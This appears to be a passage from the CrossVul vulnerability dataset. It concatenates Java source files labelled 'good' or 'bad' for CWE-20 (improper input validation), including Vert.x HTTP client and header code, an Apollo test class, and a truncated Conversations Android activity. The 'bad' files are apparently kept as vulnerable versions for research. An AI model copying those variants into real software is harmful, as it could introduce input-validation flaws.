public HttpClientResponse handler(Handler<Buffer> handler) {
resp.handler(handler);
return this;
}
@Override
public HttpClientResponse pause() {
resp.pause();
return this;
}
@Override
public HttpClientResponse resume() {
resp.resume();
return this;
}
@Override
public HttpClientResponse exceptionHandler(Handler<Throwable> handler) {
resp.exceptionHandler(handler);
return this;
}
};
} else {
response = resp;
}
responseHandler.handle(response);
};
}
private synchronized void connect(Handler<HttpVersion> headersHandler) {
if (!connecting) {
if (method == HttpMethod.OTHER && rawMethod == null) {
throw new IllegalStateException("You must provide a rawMethod when using an HttpMethod.OTHER method");
}
String peerHost;
if (hostHeader != null) {
int idx = hostHeader.lastIndexOf(':');
if (idx != -1) {
peerHost = hostHeader.substring(0, idx);
} else {
peerHost = hostHeader;
}
} else {
peerHost = host;
}
// Capture some stuff
Handler<HttpConnection> initializer = connectionHandler;
ContextInternal connectCtx = vertx.getOrCreateContext();
// We defer actual connection until the first part of body is written or end is called
// This gives the user an opportunity to set an exception handler before connecting so
// they can capture any exceptions on connection
connecting = true;
client.getConnectionForRequest(connectCtx, peerHost, ssl, port, host, ar1 -> {
if (ar1.succeeded()) {
HttpClientStream stream = ar1.result();
ContextInternal ctx = (ContextInternal) stream.getContext();
if (stream.id() == 1 && initializer != null) {
ctx.executeFromIO(v -> {
initializer.handle(stream.connection());
});
}
// No need to synchronize as the thread is the same that set exceptionOccurred to true
// exceptionOccurred=true getting the connection => it's a TimeoutException
if (exceptionOccurred != null || reset != null) {
stream.reset(0);
} else {
ctx.executeFromIO(v -> {
connected(headersHandler, stream);
});
}
} else {
connectCtx.executeFromIO(v -> {
handleException(ar1.cause());
});
}
});
}
}
private void connected(Handler<HttpVersion> headersHandler, HttpClientStream stream) {
synchronized (this) {
this.stream = stream;
stream.beginRequest(this);
// If anything was written or the request ended before we got the connection, then
// we need to write it now
if (pendingMaxSize != -1) {
stream.doSetWriteQueueMaxSize(pendingMaxSize);
}
if (pendingChunks != null) {
ByteBuf pending = pendingChunks;
pendingChunks = null;
if (completed) {
// we also need to write the head so optimize this and write all out in once
stream.writeHead(method, rawMethod, uri, headers, hostHeader(), chunked, pending, true);
stream.reportBytesWritten(written);
stream.endRequest();
} else {
stream.writeHead(method, rawMethod, uri, headers, hostHeader(), chunked, pending, false);
}
} else {
if (completed) {
// we also need to write the head so optimize this and write all out in once
stream.writeHead(method, rawMethod, uri, headers, hostHeader(), chunked, null, true);
stream.reportBytesWritten(written);
stream.endRequest();
} else {
stream.writeHead(method, rawMethod, uri, headers, hostHeader(), chunked, null, false);
}
}
this.connecting = false;
this.stream = stream;
}
if (headersHandler != null) {
headersHandler.handle(stream.version());
}
}
private boolean contentLengthSet() {
return headers != null && headers().contains(CONTENT_LENGTH);
}
@Override
public void end(String chunk) {
end(Buffer.buffer(chunk));
}
@Override
public void end(String chunk, String enc) {
Objects.requireNonNull(enc, "no null encoding accepted");
end(Buffer.buffer(chunk, enc));
}
@Override
public void end(Buffer chunk) {
write(chunk.getByteBuf(), true);
}
@Override
public void end() {
write(null, true);
}
@Override
public HttpClientRequestImpl write(Buffer chunk) {
ByteBuf buf = chunk.getByteBuf();
write(buf, false);
return this;
}
@Override
public HttpClientRequestImpl write(String chunk) {
return write(Buffer.buffer(chunk));
}
@Override
public HttpClientRequestImpl write(String chunk, String enc) {
Objects.requireNonNull(enc, "no null encoding accepted");
return write(Buffer.buffer(chunk, enc));
}
private void write(ByteBuf buff, boolean end) {
HttpClientStream s;
synchronized (this) {
checkComplete();
checkResponseHandler();
if (end) {
if (buff != null && !chunked && !contentLengthSet()) {
headers().set(CONTENT_LENGTH, String.valueOf(buff.readableBytes()));
}
} else {
if (!chunked && !contentLengthSet()) {
throw new IllegalStateException("You must set the Content-Length header to be the total size of the message "
+ "body BEFORE sending any data if you are not using HTTP chunked encoding.");
}
}
if (buff == null && !end) {
// nothing to write to the connection just return
return;
}
if (buff != null) {
written += buff.readableBytes();
}
if ((s = stream) == null) {
if (buff != null) {
if (pendingChunks == null) {
pendingChunks = buff;
} else {
CompositeByteBuf pending;
if (pendingChunks instanceof CompositeByteBuf) {
pending = (CompositeByteBuf) pendingChunks;
} else {
pending = Unpooled.compositeBuffer();
pending.addComponent(true, pendingChunks);
pendingChunks = pending;
}
pending.addComponent(true, buff);
}
}
if (end) {
tryComplete();
if (completionHandler != null) {
completionHandler.handle(null);
}
}
connect(null);
return;
}
}
s.writeBuffer(buff, end);
if (end) {
s.reportBytesWritten(written); // MUST BE READ UNDER SYNCHRONIZATION
}
if (end) {
Handler<Void> handler;
synchronized (this) {
tryComplete();
s.endRequest();
if ((handler = completionHandler) == null) {
return;
}
}
handler.handle(null);
}
}
protected void checkComplete() {
if (completed) {
throw new IllegalStateException("Request already complete");
}
}
private void checkResponseHandler() {
if (respHandler == null) {
throw new IllegalStateException("You must set an handler for the HttpClientResponse before connecting");
}
}
synchronized Handler<HttpClientRequest> pushHandler() {
return pushHandler;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_3
|
crossvul-java_data_bad_4128_2
|
package com.ctrip.framework.apollo.adminservice.controller;
import com.ctrip.framework.apollo.AdminServiceTestConfiguration;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.http.HttpMessageConverters;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.context.SpringBootTest.WebEnvironment;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.web.client.DefaultResponseErrorHandler;
import org.springframework.web.client.RestTemplate;
import javax.annotation.PostConstruct;
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(classes = AdminServiceTestConfiguration.class, webEnvironment = WebEnvironment.RANDOM_PORT)
public abstract class AbstractControllerTest {
@Autowired
private HttpMessageConverters httpMessageConverters;
protected RestTemplate restTemplate = (new TestRestTemplate()).getRestTemplate();
@PostConstruct
private void postConstruct() {
restTemplate.setErrorHandler(new DefaultResponseErrorHandler());
restTemplate.setMessageConverters(httpMessageConverters.getConverters());
}
@Value("${local.server.port}")
int port;
protected String url(String path) {
return "http://localhost:" + port + path;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_4128_2
|
crossvul-java_data_good_195_5
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http.impl.headers;
import io.netty.handler.codec.http.HttpHeaders;
import io.netty.util.AsciiString;
import io.netty.util.HashingStrategy;
import io.vertx.core.MultiMap;
import io.vertx.core.http.impl.HttpUtils;
import java.util.AbstractMap;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.Set;
import java.util.TreeSet;
import java.util.function.Consumer;
import static io.netty.util.AsciiString.*;
/**
* @author <a href="mailto:julien@julienviet.com">Julien Viet</a>
*/
public final class VertxHttpHeaders extends HttpHeaders implements MultiMap {
@Override
public MultiMap setAll(MultiMap headers) {
return set0(headers);
}
@Override
public MultiMap setAll(Map<String, String> headers) {
return set0(headers.entrySet());
}
@Override
public int size() {
return names().size();
}
private static int index(int hash) {
return hash & 0x0000000F;
}
private final VertxHttpHeaders.MapEntry[] entries = new VertxHttpHeaders.MapEntry[16];
private final VertxHttpHeaders.MapEntry head = new VertxHttpHeaders.MapEntry();
public VertxHttpHeaders() {
head.before = head.after = head;
}
public boolean contentLengthSet() {
return contains(io.vertx.core.http.HttpHeaders.CONTENT_LENGTH);
}
public boolean contentTypeSet() {
return contains(io.vertx.core.http.HttpHeaders.CONTENT_TYPE);
}
@Override
public VertxHttpHeaders add(CharSequence name, CharSequence value) {
int h = AsciiString.hashCode(name);
int i = index(h);
add0(h, i, name, value);
return this;
}
@Override
public VertxHttpHeaders add(CharSequence name, Object value) {
return add(name, (CharSequence)value);
}
@Override
public HttpHeaders add(String name, Object value) {
return add((CharSequence) name, (CharSequence) value);
}
@Override
public VertxHttpHeaders add(String name, String strVal) {
return add((CharSequence) name, strVal);
}
@Override
public VertxHttpHeaders add(CharSequence name, Iterable values) {
int h = AsciiString.hashCode(name);
int i = index(h);
for (Object vstr: values) {
add0(h, i, name, (String) vstr);
}
return this;
}
@Override
public VertxHttpHeaders add(String name, Iterable values) {
return add((CharSequence) name, values);
}
@Override
public MultiMap addAll(MultiMap headers) {
return addAll(headers.entries());
}
@Override
public MultiMap addAll(Map<String, String> map) {
return addAll(map.entrySet());
}
private MultiMap addAll(Iterable<Map.Entry<String, String>> headers) {
for (Map.Entry<String, String> entry: headers) {
add(entry.getKey(), entry.getValue());
}
return this;
}
@Override
public VertxHttpHeaders remove(CharSequence name) {
Objects.requireNonNull(name, "name");
int h = AsciiString.hashCode(name);
int i = index(h);
remove0(h, i, name);
return this;
}
@Override
public VertxHttpHeaders remove(final String name) {
return remove((CharSequence) name);
}
@Override
public VertxHttpHeaders set(CharSequence name, CharSequence value) {
return set0(name, value);
}
@Override
public VertxHttpHeaders set(String name, String value) {
return set((CharSequence)name, value);
}
@Override
public VertxHttpHeaders set(String name, Object value) {
return set((CharSequence)name, (CharSequence) value);
}
@Override
public VertxHttpHeaders set(CharSequence name, Object value) {
return set(name, (CharSequence)value);
}
@Override
public VertxHttpHeaders set(CharSequence name, Iterable values) {
Objects.requireNonNull(values, "values");
int h = AsciiString.hashCode(name);
int i = index(h);
remove0(h, i, name);
for (Object v: values) {
if (v == null) {
break;
}
add0(h, i, name, (String) v);
}
return this;
}
@Override
public VertxHttpHeaders set(String name, Iterable values) {
return set((CharSequence) name, values);
}
@Override
public boolean contains(CharSequence name, CharSequence value, boolean ignoreCase) {
int h = AsciiString.hashCode(name);
int i = index(h);
VertxHttpHeaders.MapEntry e = entries[i];
HashingStrategy<CharSequence> strategy = ignoreCase ? CASE_INSENSITIVE_HASHER : CASE_SENSITIVE_HASHER;
while (e != null) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
if (strategy.equals(value, e.getValue())) {
return true;
}
}
e = e.next;
}
return false;
}
@Override
public boolean contains(String name, String value, boolean ignoreCase) {
return contains((CharSequence) name, value, ignoreCase);
}
@Override
public boolean contains(CharSequence name) {
return get0(name) != null;
}
@Override
public boolean contains(String name) {
return contains((CharSequence) name);
}
@Override
public String get(CharSequence name) {
Objects.requireNonNull(name, "name");
CharSequence ret = get0(name);
return ret != null ? ret.toString() : null;
}
@Override
public String get(String name) {
return get((CharSequence) name);
}
@Override
public List<String> getAll(CharSequence name) {
Objects.requireNonNull(name, "name");
LinkedList<String> values = new LinkedList<>();
int h = AsciiString.hashCode(name);
int i = index(h);
VertxHttpHeaders.MapEntry e = entries[i];
while (e != null) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
values.addFirst(e.getValue().toString());
}
e = e.next;
}
return values;
}
@Override
public List<String> getAll(String name) {
return getAll((CharSequence) name);
}
@Override
public void forEach(Consumer<? super Map.Entry<String, String>> action) {
VertxHttpHeaders.MapEntry e = head.after;
while (e != head) {
action.accept(new AbstractMap.SimpleEntry<>(e.key.toString(), e.value.toString()));
e = e.after;
}
}
@Override
public List<Map.Entry<String, String>> entries() {
List<Map.Entry<String, String>> all = new ArrayList<>(size());
VertxHttpHeaders.MapEntry e = head.after;
while (e != head) {
final MapEntry f = e;
all.add(new Map.Entry<String, String>() {
@Override
public String getKey() {
return f.key.toString();
}
@Override
public String getValue() {
return f.value.toString();
}
@Override
public String setValue(String value) {
return f.setValue(value).toString();
}
@Override
public String toString() {
return getKey() + ": " + getValue();
}
});
e = e.after;
}
return all;
}
@Override
public Iterator<Map.Entry<String, String>> iterator() {
return entries().iterator();
}
@Override
public boolean isEmpty() {
return head == head.after;
}
@Override
public Set<String> names() {
Set<String> names = new TreeSet<>(String.CASE_INSENSITIVE_ORDER);
VertxHttpHeaders.MapEntry e = head.after;
while (e != head) {
names.add(e.getKey().toString());
e = e.after;
}
return names;
}
@Override
public VertxHttpHeaders clear() {
for (int i = 0; i < entries.length; i ++) {
entries[i] = null;
}
head.before = head.after = head;
return this;
}
public String toString() {
StringBuilder sb = new StringBuilder();
for (Map.Entry<String, String> entry: this) {
sb.append(entry).append('\n');
}
return sb.toString();
}
@Override
public Integer getInt(CharSequence name) {
throw new UnsupportedOperationException();
}
@Override
public int getInt(CharSequence name, int defaultValue) {
throw new UnsupportedOperationException();
}
@Override
public Short getShort(CharSequence name) {
throw new UnsupportedOperationException();
}
@Override
public short getShort(CharSequence name, short defaultValue) {
throw new UnsupportedOperationException();
}
@Override
public Long getTimeMillis(CharSequence name) {
throw new UnsupportedOperationException();
}
@Override
public long getTimeMillis(CharSequence name, long defaultValue) {
throw new UnsupportedOperationException();
}
@Override
public Iterator<Map.Entry<CharSequence, CharSequence>> iteratorCharSequence() {
return new Iterator<Map.Entry<CharSequence, CharSequence>>() {
VertxHttpHeaders.MapEntry current = head.after;
@Override
public boolean hasNext() {
return current != head;
}
@Override
public Map.Entry<CharSequence, CharSequence> next() {
Map.Entry<CharSequence, CharSequence> next = current;
current = current.after;
return next;
}
};
}
@Override
public HttpHeaders addInt(CharSequence name, int value) {
throw new UnsupportedOperationException();
}
@Override
public HttpHeaders addShort(CharSequence name, short value) {
throw new UnsupportedOperationException();
}
@Override
public HttpHeaders setInt(CharSequence name, int value) {
throw new UnsupportedOperationException();
}
@Override
public HttpHeaders setShort(CharSequence name, short value) {
throw new UnsupportedOperationException();
}
private static final class MapEntry implements Map.Entry<CharSequence, CharSequence> {
final int hash;
final CharSequence key;
CharSequence value;
VertxHttpHeaders.MapEntry next;
VertxHttpHeaders.MapEntry before, after;
MapEntry() {
this.hash = -1;
this.key = null;
this.value = null;
}
MapEntry(int hash, CharSequence key, CharSequence value) {
this.hash = hash;
this.key = key;
this.value = value;
}
void remove() {
before.after = after;
after.before = before;
}
void addBefore(VertxHttpHeaders.MapEntry e) {
after = e;
before = e.before;
before.after = this;
after.before = this;
}
@Override
public CharSequence getKey() {
return key;
}
@Override
public CharSequence getValue() {
return value;
}
@Override
public CharSequence setValue(CharSequence value) {
Objects.requireNonNull(value, "value");
CharSequence oldValue = this.value;
this.value = value;
return oldValue;
}
@Override
public String toString() {
return getKey() + ": " + getValue();
}
}
private void remove0(int h, int i, CharSequence name) {
VertxHttpHeaders.MapEntry e = entries[i];
if (e == null) {
return;
}
for (;;) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
e.remove();
VertxHttpHeaders.MapEntry next = e.next;
if (next != null) {
entries[i] = next;
e = next;
} else {
entries[i] = null;
return;
}
} else {
break;
}
}
for (;;) {
VertxHttpHeaders.MapEntry next = e.next;
if (next == null) {
break;
}
if (next.hash == h && AsciiString.contentEqualsIgnoreCase(name, next.key)) {
e.next = next.next;
next.remove();
} else {
e = next;
}
}
}
private void add0(int h, int i, final CharSequence name, final CharSequence value) {
if (!(name instanceof AsciiString)) {
HttpUtils.validateHeader(name);
}
if (!(value instanceof AsciiString)) {
HttpUtils.validateHeader(value);
}
// Update the hash table.
VertxHttpHeaders.MapEntry e = entries[i];
VertxHttpHeaders.MapEntry newEntry;
entries[i] = newEntry = new VertxHttpHeaders.MapEntry(h, name, value);
newEntry.next = e;
// Update the linked list.
newEntry.addBefore(head);
}
private VertxHttpHeaders set0(final CharSequence name, final CharSequence strVal) {
int h = AsciiString.hashCode(name);
int i = index(h);
remove0(h, i, name);
add0(h, i, name, strVal);
return this;
}
private CharSequence get0(CharSequence name) {
int h = AsciiString.hashCode(name);
int i = index(h);
VertxHttpHeaders.MapEntry e = entries[i];
while (e != null) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
return e.getValue();
}
e = e.next;
}
return null;
}
private MultiMap set0(Iterable<Map.Entry<String, String>> map) {
clear();
for (Map.Entry<String, String> entry: map) {
add(entry.getKey(), entry.getValue());
}
return this;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_5
|
crossvul-java_data_bad_418_2
|
package eu.siacs.conversations.ui;
import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Dialog;
import android.app.PendingIntent;
import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.databinding.DataBindingUtil;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.support.annotation.DrawableRes;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentTransaction;
import android.support.v4.app.ListFragment;
import android.support.v4.view.PagerAdapter;
import android.support.v4.view.ViewPager;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AlertDialog;
import android.support.v7.widget.Toolbar;
import android.text.Editable;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.TextWatcher;
import android.text.style.TypefaceSpan;
import android.util.Log;
import android.util.Pair;
import android.view.ContextMenu;
import android.view.ContextMenu.ContextMenuInfo;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.inputmethod.InputMethodManager;
import android.widget.AdapterView;
import android.widget.AdapterView.AdapterContextMenuInfo;
import android.widget.ArrayAdapter;
import android.widget.AutoCompleteTextView;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.Spinner;
import android.widget.TextView;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import eu.siacs.conversations.Config;
import eu.siacs.conversations.R;
import eu.siacs.conversations.databinding.ActivityStartConversationBinding;
import eu.siacs.conversations.entities.Account;
import eu.siacs.conversations.entities.Bookmark;
import eu.siacs.conversations.entities.Contact;
import eu.siacs.conversations.entities.Conversation;
import eu.siacs.conversations.entities.ListItem;
import eu.siacs.conversations.entities.Presence;
import eu.siacs.conversations.services.XmppConnectionService;
import eu.siacs.conversations.services.XmppConnectionService.OnRosterUpdate;
import eu.siacs.conversations.ui.adapter.ListItemAdapter;
import eu.siacs.conversations.ui.interfaces.OnBackendConnected;
import eu.siacs.conversations.ui.service.EmojiService;
import eu.siacs.conversations.ui.util.JidDialog;
import eu.siacs.conversations.ui.util.MenuDoubleTabUtil;
import eu.siacs.conversations.ui.util.PendingItem;
import eu.siacs.conversations.ui.util.SoftKeyboardUtils;
import eu.siacs.conversations.utils.XmppUri;
import eu.siacs.conversations.xmpp.OnUpdateBlocklist;
import eu.siacs.conversations.xmpp.XmppConnection;
import rocks.xmpp.addr.Jid;
public class StartConversationActivity extends XmppActivity implements XmppConnectionService.OnConversationUpdate, OnRosterUpdate, OnUpdateBlocklist, CreateConferenceDialog.CreateConferenceDialogListener, JoinConferenceDialog.JoinConferenceDialogListener {
private final int REQUEST_SYNC_CONTACTS = 0x28cf;
private final int REQUEST_CREATE_CONFERENCE = 0x39da;
private final PendingItem<Intent> pendingViewIntent = new PendingItem<>();
private final PendingItem<String> mInitialSearchValue = new PendingItem<>();
private final AtomicBoolean oneShotKeyboardSuppress = new AtomicBoolean();
public int conference_context_id;
public int contact_context_id;
private ListPagerAdapter mListPagerAdapter;
private List<ListItem> contacts = new ArrayList<>();
private ListItemAdapter mContactsAdapter;
private List<ListItem> conferences = new ArrayList<>();
private ListItemAdapter mConferenceAdapter;
private List<String> mActivatedAccounts = new ArrayList<>();
private EditText mSearchEditText;
private AtomicBoolean mRequestedContactsPermission = new AtomicBoolean(false);
private boolean mHideOfflineContacts = false;
private MenuItem.OnActionExpandListener mOnActionExpandListener = new MenuItem.OnActionExpandListener() {
@Override
public boolean onMenuItemActionExpand(MenuItem item) {
mSearchEditText.post(() -> {
updateSearchViewHint();
mSearchEditText.requestFocus();
if (oneShotKeyboardSuppress.compareAndSet(true, false)) {
return;
}
InputMethodManager imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE);
if (imm != null) {
imm.showSoftInput(mSearchEditText, InputMethodManager.SHOW_IMPLICIT);
}
});
return true;
}
@Override
public boolean onMenuItemActionCollapse(MenuItem item) {
SoftKeyboardUtils.hideSoftKeyboard(StartConversationActivity.this);
mSearchEditText.setText("");
filter(null);
return true;
}
};
private TextWatcher mSearchTextWatcher = new TextWatcher() {
@Override
public void afterTextChanged(Editable editable) {
filter(editable.toString());
}
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
};
private MenuItem mMenuSearchView;
private ListItemAdapter.OnTagClickedListener mOnTagClickedListener = new ListItemAdapter.OnTagClickedListener() {
@Override
public void onTagClicked(String tag) {
if (mMenuSearchView != null) {
mMenuSearchView.expandActionView();
mSearchEditText.setText("");
mSearchEditText.append(tag);
filter(tag);
}
}
};
private Pair<Integer, Intent> mPostponedActivityResult;
private Toast mToast;
private UiCallback<Conversation> mAdhocConferenceCallback = new UiCallback<Conversation>() {
@Override
public void success(final Conversation conversation) {
runOnUiThread(() -> {
hideToast();
switchToConversation(conversation);
});
}
@Override
public void error(final int errorCode, Conversation object) {
runOnUiThread(() -> replaceToast(getString(errorCode)));
}
@Override
public void userInputRequried(PendingIntent pi, Conversation object) {
}
};
private ActivityStartConversationBinding binding;
private TextView.OnEditorActionListener mSearchDone = new TextView.OnEditorActionListener() {
@Override
public boolean onEditorAction(TextView v, int actionId, KeyEvent event) {
int pos = binding.startConversationViewPager.getCurrentItem();
if (pos == 0) {
if (contacts.size() == 1) {
openConversationForContact((Contact) contacts.get(0));
return true;
} else if (contacts.size() == 0 && conferences.size() == 1) {
openConversationsForBookmark((Bookmark) conferences.get(0));
return true;
}
} else {
if (conferences.size() == 1) {
openConversationsForBookmark((Bookmark) conferences.get(0));
return true;
} else if (conferences.size() == 0 && contacts.size() == 1) {
openConversationForContact((Contact) contacts.get(0));
return true;
}
}
SoftKeyboardUtils.hideSoftKeyboard(StartConversationActivity.this);
mListPagerAdapter.requestFocus(pos);
return true;
}
};
private ViewPager.SimpleOnPageChangeListener mOnPageChangeListener = new ViewPager.SimpleOnPageChangeListener() {
@Override
public void onPageSelected(int position) {
onTabChanged();
}
};
public static void populateAccountSpinner(Context context, List<String> accounts, Spinner spinner) {
if (accounts.size() > 0) {
ArrayAdapter<String> adapter = new ArrayAdapter<>(context, R.layout.simple_list_item, accounts);
adapter.setDropDownViewResource(R.layout.simple_list_item);
spinner.setAdapter(adapter);
spinner.setEnabled(true);
} else {
ArrayAdapter<String> adapter = new ArrayAdapter<>(context,
R.layout.simple_list_item,
Arrays.asList(context.getString(R.string.no_accounts)));
adapter.setDropDownViewResource(R.layout.simple_list_item);
spinner.setAdapter(adapter);
spinner.setEnabled(false);
}
}
public static void launch(Context context) {
final Intent intent = new Intent(context, StartConversationActivity.class);
context.startActivity(intent);
}
private static Intent createLauncherIntent(Context context) {
final Intent intent = new Intent(context, StartConversationActivity.class);
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
return intent;
}
private static boolean isViewIntent(final Intent i) {
return i != null && (Intent.ACTION_VIEW.equals(i.getAction()) || Intent.ACTION_SENDTO.equals(i.getAction()) || i.hasExtra(WelcomeActivity.EXTRA_INVITE_URI));
}
protected void hideToast() {
if (mToast != null) {
mToast.cancel();
}
}
protected void replaceToast(String msg) {
hideToast();
mToast = Toast.makeText(this, msg, Toast.LENGTH_LONG);
mToast.show();
}
@Override
public void onRosterUpdate() {
this.refreshUi();
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
new EmojiService(this).init();
this.binding = DataBindingUtil.setContentView(this, R.layout.activity_start_conversation);
Toolbar toolbar = (Toolbar) binding.toolbar;
setSupportActionBar(toolbar);
configureActionBar(getSupportActionBar());
this.binding.fab.setOnClickListener((v) -> {
if (binding.startConversationViewPager.getCurrentItem() == 0) {
String searchString = mSearchEditText != null ? mSearchEditText.getText().toString() : null;
if (searchString != null && !searchString.trim().isEmpty()) {
try {
Jid jid = Jid.of(searchString);
if (jid.getLocal() != null && jid.isBareJid() && jid.getDomain().contains(".")) {
showCreateContactDialog(jid.toString(), null);
return;
}
} catch (IllegalArgumentException ignored) {
//ignore and fall through
}
}
showCreateContactDialog(null, null);
} else {
showCreateConferenceDialog();
}
});
binding.tabLayout.setupWithViewPager(binding.startConversationViewPager);
binding.startConversationViewPager.addOnPageChangeListener(mOnPageChangeListener);
mListPagerAdapter = new ListPagerAdapter(getSupportFragmentManager());
binding.startConversationViewPager.setAdapter(mListPagerAdapter);
mConferenceAdapter = new ListItemAdapter(this, conferences);
mContactsAdapter = new ListItemAdapter(this, contacts);
mContactsAdapter.setOnTagClickedListener(this.mOnTagClickedListener);
final SharedPreferences preferences = getPreferences();
this.mHideOfflineContacts = preferences.getBoolean("hide_offline", false);
final boolean startSearching = preferences.getBoolean("start_searching",getResources().getBoolean(R.bool.start_searching));
final Intent intent;
if (savedInstanceState == null) {
intent = getIntent();
} else {
final String search = savedInstanceState.getString("search");
if (search != null) {
mInitialSearchValue.push(search);
}
intent = savedInstanceState.getParcelable("intent");
}
if (isViewIntent(intent)) {
pendingViewIntent.push(intent);
setIntent(createLauncherIntent(this));
} else if (startSearching && mInitialSearchValue.peek() == null) {
mInitialSearchValue.push("");
}
}
@Override
public void onSaveInstanceState(Bundle savedInstanceState) {
Intent pendingIntent = pendingViewIntent.peek();
savedInstanceState.putParcelable("intent", pendingIntent != null ? pendingIntent : getIntent());
if (mMenuSearchView != null && mMenuSearchView.isActionViewExpanded()) {
savedInstanceState.putString("search", mSearchEditText != null ? mSearchEditText.getText().toString() : null);
}
super.onSaveInstanceState(savedInstanceState);
}
@Override
public void onStart() {
super.onStart();
final int theme = findTheme();
if (this.mTheme != theme) {
recreate();
} else {
if (pendingViewIntent.peek() == null) {
askForContactsPermissions();
}
}
mConferenceAdapter.refreshSettings();
mContactsAdapter.refreshSettings();
}
@Override
public void onNewIntent(final Intent intent) {
if (xmppConnectionServiceBound) {
processViewIntent(intent);
} else {
pendingViewIntent.push(intent);
}
setIntent(createLauncherIntent(this));
}
protected void openConversationForContact(int position) {
Contact contact = (Contact) contacts.get(position);
openConversationForContact(contact);
}
protected void openConversationForContact(Contact contact) {
Conversation conversation = xmppConnectionService.findOrCreateConversation(contact.getAccount(), contact.getJid(), false, true);
SoftKeyboardUtils.hideSoftKeyboard(this);
switchToConversation(conversation);
}
protected void openConversationForBookmark() {
openConversationForBookmark(conference_context_id);
}
protected void openConversationForBookmark(int position) {
Bookmark bookmark = (Bookmark) conferences.get(position);
openConversationsForBookmark(bookmark);
}
protected void shareBookmarkUri() {
shareBookmarkUri(conference_context_id);
}
protected void shareBookmarkUri(int position) {
Bookmark bookmark = (Bookmark) conferences.get(position);
Intent shareIntent = new Intent();
shareIntent.setAction(Intent.ACTION_SEND);
shareIntent.putExtra(Intent.EXTRA_TEXT, "xmpp:" + bookmark.getJid().asBareJid().toEscapedString() + "?join");
shareIntent.setType("text/plain");
try {
startActivity(Intent.createChooser(shareIntent, getText(R.string.share_uri_with)));
} catch (ActivityNotFoundException e) {
Toast.makeText(this, R.string.no_application_to_share_uri, Toast.LENGTH_SHORT).show();
}
}
protected void openConversationsForBookmark(Bookmark bookmark) {
Jid jid = bookmark.getJid();
if (jid == null) {
Toast.makeText(this, R.string.invalid_jid, Toast.LENGTH_SHORT).show();
return;
}
Conversation conversation = xmppConnectionService.findOrCreateConversation(bookmark.getAccount(), jid, true, true, true);
bookmark.setConversation(conversation);
if (!bookmark.autojoin() && getPreferences().getBoolean("autojoin", getResources().getBoolean(R.bool.autojoin))) {
bookmark.setAutojoin(true);
xmppConnectionService.pushBookmarks(bookmark.getAccount());
}
SoftKeyboardUtils.hideSoftKeyboard(this);
switchToConversation(conversation);
}
protected void openDetailsForContact() {
int position = contact_context_id;
Contact contact = (Contact) contacts.get(position);
switchToContactDetails(contact);
}
protected void showQrForContact() {
int position = contact_context_id;
Contact contact = (Contact) contacts.get(position);
showQrCode("xmpp:"+contact.getJid().asBareJid().toEscapedString());
}
protected void toggleContactBlock() {
final int position = contact_context_id;
BlockContactDialog.show(this, (Contact) contacts.get(position));
}
protected void deleteContact() {
final int position = contact_context_id;
final Contact contact = (Contact) contacts.get(position);
final AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setNegativeButton(R.string.cancel, null);
builder.setTitle(R.string.action_delete_contact);
builder.setMessage(JidDialog.style(this, R.string.remove_contact_text, contact.getJid().toEscapedString()));
builder.setPositiveButton(R.string.delete, (dialog, which) -> {
xmppConnectionService.deleteContactOnServer(contact);
filter(mSearchEditText.getText().toString());
});
builder.create().show();
}
protected void deleteConference() {
int position = conference_context_id;
final Bookmark bookmark = (Bookmark) conferences.get(position);
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setNegativeButton(R.string.cancel, null);
builder.setTitle(R.string.delete_bookmark);
builder.setMessage(JidDialog.style(this, R.string.remove_bookmark_text, bookmark.getJid().toEscapedString()));
builder.setPositiveButton(R.string.delete, (dialog, which) -> {
bookmark.setConversation(null);
Account account = bookmark.getAccount();
account.getBookmarks().remove(bookmark);
xmppConnectionService.pushBookmarks(account);
filter(mSearchEditText.getText().toString());
});
builder.create().show();
}
@SuppressLint("InflateParams")
protected void showCreateContactDialog(final String prefilledJid, final Invite invite) {
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
